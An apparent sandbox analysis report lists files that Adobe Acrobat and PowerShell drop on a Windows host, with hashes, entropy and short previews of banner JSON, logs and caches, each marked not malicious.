SHA-256:	576284B4E60B44C5D1B97815DF22B81A27DD1253C56FBB1BE40861799F40A087
SHA-512:	BE035B309175781D124C31C345F0F32F45CC6143BBD13810D64D9C10FF555268CF2FC11B942CD5B05896DFDECC12BA065F5F45BCBEF935F4658289FAC6210015
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3ae8ba71-abce-48b5-a85b-eceb77c08e6e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735417444,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.23218893526648
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZSRnRdTjOGnZiQ0YKT2REeoAvJf+dPeUkwRe9:YvXKXsJ+GcjT2OG28Ukee9
MD5:	182171F5921A91365C001D5A8BD6F4A8
SHA1:	72486BE9A2A70B2C644368BD85654E02C497123B
SHA-256:	D309E2E29C188E4AA7C84CE098403DD5D74D508D9003962240055EECC047EBDF
SHA-512:	7CA2046B41B3B41D8D8DB51A440D54F1E82D690F5FF5FD780491245ED3B860A2EED5141395740DCEA28EBB3C35637193C5A33AF118B3F0511A2D0D10281C9321
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3ae8ba71-abce-48b5-a85b-eceb77c08e6e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735417444,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.229668713837346
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZSRnRdTjOGnZiQ0YKT2REeoAvJfbPtdPeUkwRe9:YvXKXsJ+GcjT2OGDV8Ukee9
MD5:	0DBCCABE92A4FAB0FA44235965C52820
SHA1:	581DAC6FD0E2EEC576D9D37AF8CF98758AD394E2
SHA-256:	14B4824297D70904D024D71B03A38E877EB2D9BB7A528E1BF9F8A3E67F3B286C
SHA-512:	936A01CA143DC5F404A67BE7E9AC1A7590E29DA9FA1FE95F970F6BA3A555A7709E00C9D42130BF77B15C2F6E59A04515D142784BB0DE33776A81195E454648C5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3ae8ba71-abce-48b5-a85b-eceb77c08e6e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735417444,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.232874392662646
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZSRnRdTjOGnZiQ0YKT2REeoAvJf21rPeUkwRe9:YvXKXsJ+GcjT2OG+16Ukee9
MD5:	686890250A8F276E88F823A012F5B5A8
SHA1:	2B530F25482D7312B3B4962DE1738B8BB8D1F26F
SHA-256:	441ED85C582FC5EA443CD5470272090179FA508A7F7A45E80B9CD0F9937CD20D
SHA-512:	4BFD222C9301790901C1EE5A4E2F4C63EF655F298F8220411D42394D7D72C7A547773F3E8E2216FD169D356341AE47B8E5FC2ABD2B06D06A5AEB03410EC68CA5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3ae8ba71-abce-48b5-a85b-eceb77c08e6e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735417444,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6603174096658115
Encrypted:	false
SSDEEP:	24:Yv6XsJ+7m7amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS3:Yv/bLBgkDMUJUAh8cvM3
MD5:	6DDCAD104B6B791686B2D813F24893E4
SHA1:	863A02A9150A59264E6D42332A1E4FD9488BD417
SHA-256:	61A73910F23EA43A5FAE885D86326F120A9754359A23942237472E00B80A042B
SHA-512:	101D2DEFF043D0749AFB4E6533433C26940297837B27C8817B521FA08E3EA04A2EB8401C9DCC3EFA60BFE0F47DBAC8AE976C1CEB311C43A123F427242DCFB549
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3ae8ba71-abce-48b5-a85b-eceb77c08e6e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735417444,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.212348498887074
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZSRnRdTjOGnZiQ0YKT2REeoAvJfshHHrPeUkwRe9:YvXKXsJ+GcjT2OGUUUkee9
MD5:	1B1596517E0A33AFB56317E1ECDD3D63
SHA1:	AE666B943561FBFCD0FE0BCA8241097ACBA93D18
SHA-256:	6C1742471C85EA791CCE69FE82E60890905D5C5CBF40BD497586AA634C2752B6
SHA-512:	D8017400F6825C0F6D2A7C2DF16B5C30A39E5A6074EB8D803A59EFDAECB5549FC8370C1C22EE4CFD33E2EB39352E079D236E25AF5825D1ED1DFC3C5211886CAF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3ae8ba71-abce-48b5-a85b-eceb77c08e6e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735417444,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.232015885779214
Encrypted:	false
SSDEEP:	6:YEQXJ2HXZSRnRdTjOGnZiQ0YKT2REeoAvJTqgFCrPeUkwRe9:YvXKXsJ+GcjT2OGTq16Ukee9
MD5:	EDF5D58000C068B32DE8F508FAB6F1C3
SHA1:	644FE60F96C5C562AA41FBF8679A5212947950F1
SHA-256:	6E57DA83D97D0C14871D65BCB768635987D9B5407715A52390ADCBB2C41A2431
SHA-512:	EA62D926BF2016DA105B59DEBCB3CA617D680E86B2AC94F05F6D81B900C451D45F28630AE33D05331E3705B0B47F683A61AD0FEE6D7CAA1EAB6AE5DF12CDCCFA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3ae8ba71-abce-48b5-a85b-eceb77c08e6e","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736735417444,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.126546731406638
Encrypted:	false
SSDEEP:	48:YjauOd0irEpuxu1Y9bdiaE9X/BR9rytpdt:luOBrEpuxGY9rE9XprytR
MD5:	23D6CB6BB41138549D760244B36186E9
SHA1:	2834F64ED726E18841A7446101A34042BAD28C48
SHA-256:	C7266A1ED4A4C22053EE624B500E0B3DEAEDEC366A7882C650D5F7B696040D62
SHA-512:	DFDC996547976FBB58DA4DE457491624BD84F7D3C3FE064F0750DB3CD3600F0E8EC243D9873CCBA5744714549560121942B170CBEA67BEEF3176A1FCB77236F6
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"0b7a6bf5f62f6dd45ddbdc0d84ece5b4","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736561027000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"bb588c22024efcc7ae762d5257543b2a","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736561027000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"5d471083ea581a7078ba5056c74ed30d","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736561027000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"b21ec0402e87bbc27c85ca15d76cd2fc","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736561027000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"a0ffc1bc55c62a423783b38e2eb2be57","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736561027000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"5f693045f8683c6934a3df58d40700d7","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1463360641903804
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursfRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcH+:TFl2GL7msrXc+XcGNFlRYIX2v3k+
MD5:	E1E99AED4BF74DBB42FB9E97B8F5D51B
SHA1:	EA0A970A5025A22C5B4402B32940615B27847BE9
SHA-256:	2A1CD0B43F8EC08A6DDFC7194586E98C9817217267F8320BACD1E3E0C583B9E1
SHA-512:	6245A5193CF9D4D9D95D09C1D08B9DB5D700EC401DE4E647DC3919E6E967075923FF238CA42A00CCBCC2BC1F5042EC4D852B4763A570492C41E8C6077B110C84
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5496954329851453
Encrypted:	false
SSDEEP:	24:7+tL/UXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxGqLxx/XYKu:7MLcXc+XcGNFlRYIX2vXqVl2GL7msG
MD5:	3DCA0D69AF59F8CF69F2A2A9E92F581B
SHA1:	26D714D4449D799D6CA33015B842B05D7459E97E
SHA-256:	C71859EAAA4940B33CB8DF537DDAF3E661E803B05562ED26A954F4A188CA1D57
SHA-512:	0398B7DA0E4A9E267EEDE75F1349B6ACEBF6FB03F8BEC92F0642DF53AD90660E9B97AC77FF7358326A7DDED427AC629718CCF5C9B2035EDD2E8AA1C7D67CA68F
Malicious:	false
Preview:	.... .c.....Z.3S..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgaqP+3pYTfFghj2g8W8fJ77vAXn+Yyu:6a6TZ44ADEaq23pYr6hr87JjK
MD5:	9AB7C946C5C55D44FB2FC842CE48493F
SHA1:	5E2B43C2F3D55D754897E237EB75942C4B0E8DD3
SHA-256:	206C5D759256E42A8A1452F7F2863EAD48CF3862DEF5F2220C67E116E42CE54B
SHA-512:	3DFFB96C17C89638F8691786E775A6BAE281C817665BD427A6A95A7E41F27508096D0323AFFBC21F92F5D7F5415AB116A1A803A3D6A00664652E1AD82459A1AD
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSI17d94.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.511206980872271
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClsulzw:Qw946cPbiOxDlbYnuRK+bws
MD5:	ADECC2621323F78B7F4B97942DCDDD40
SHA1:	C00FE1E4C81D634E21A2D8B14753E7121303C678
SHA-256:	A8CCACEBFF1A3157D6DC9093AD7A1066789AFC5242BA4AAAB822DA4B349537A2
SHA-512:	F678CD4EB4B5683FC38929DB304809EB77A44174057B4533361E4AE0F21ECA824442773B1537C6BEF212323250181C4F3C680AE900D6ED5B9B44198523556B8B
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.1.:.0.3.:.4.5. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_is0oh5au.yvt.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j1xqqstt.lf2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 21-03-40-365.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.343064143283784
Encrypted:	false
SSDEEP:	384:Ey4y0yBy8TYT9TeRTBTKTaT9T3Ta+TNTpTYZvZ5ZPZRVgVgVfV8V23NENcNONQcu:EHJmBsRaR1Guxzu+5tsFHt/i6160+ysA
MD5:	AC1011FC183004BC2C1292B4425B5082
SHA1:	1AD65E0F0D36E7DE4E031D663F2098BB2BF1824E
SHA-256:	8B6121EA629018D821DFDBE3F101B7EABA8195744E94180312759BF3A19F6FCD
SHA-512:	477F5C1C2E9D5A394BCFBB3CA69C033355ED34084FEED88010F7BC9415EEAAD9936CD05C450DED309800EB7D58B9C85E9EA110178A8B540007CECAB4CA5596A8
Malicious:	false
Preview:	SessionID=14f00b61-2fb9-463b-859e-63c80e1c80b5.1736561020376 Timestamp=2025-01-10T21:03:40:376-0500 ThreadID=7512 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=14f00b61-2fb9-463b-859e-63c80e1c80b5.1736561020376 Timestamp=2025-01-10T21:03:40:376-0500 ThreadID=7512 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=14f00b61-2fb9-463b-859e-63c80e1c80b5.1736561020376 Timestamp=2025-01-10T21:03:40:376-0500 ThreadID=7512 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=14f00b61-2fb9-463b-859e-63c80e1c80b5.1736561020376 Timestamp=2025-01-10T21:03:40:376-0500 ThreadID=7512 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=14f00b61-2fb9-463b-859e-63c80e1c80b5.1736561020376 Timestamp=2025-01-10T21:03:40:377-0500 ThreadID=7512 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.399018143844431
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbIWsswlQnaGepehWfuhWgx+pW2T:V3fOCIdJDeZRlm
MD5:	C80CC67E7D23F7249BA94B4B9EB1437A
SHA1:	B03A932DCA1FAD086BAF3B6FF195B06FE0FE3DBD
SHA-256:	B0D29D2B01F7B9672BA27D9D46D689F317056F01D1C8AE9DB9BFA0B5665B2A29
SHA-512:	6DB7950D569936A98B298621E4AE08C57CFF6DFF12B04F75D7EE71B44AFA9194C23168EABA35EE9D72C2E4A819D52C279AF6661E4AEE55D04DB8AF6DE4E3797A
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\2191c4d4-78d1-4484-854e-6feee405568a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\536b4248-a545-48b5-9e81-e444589691f3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
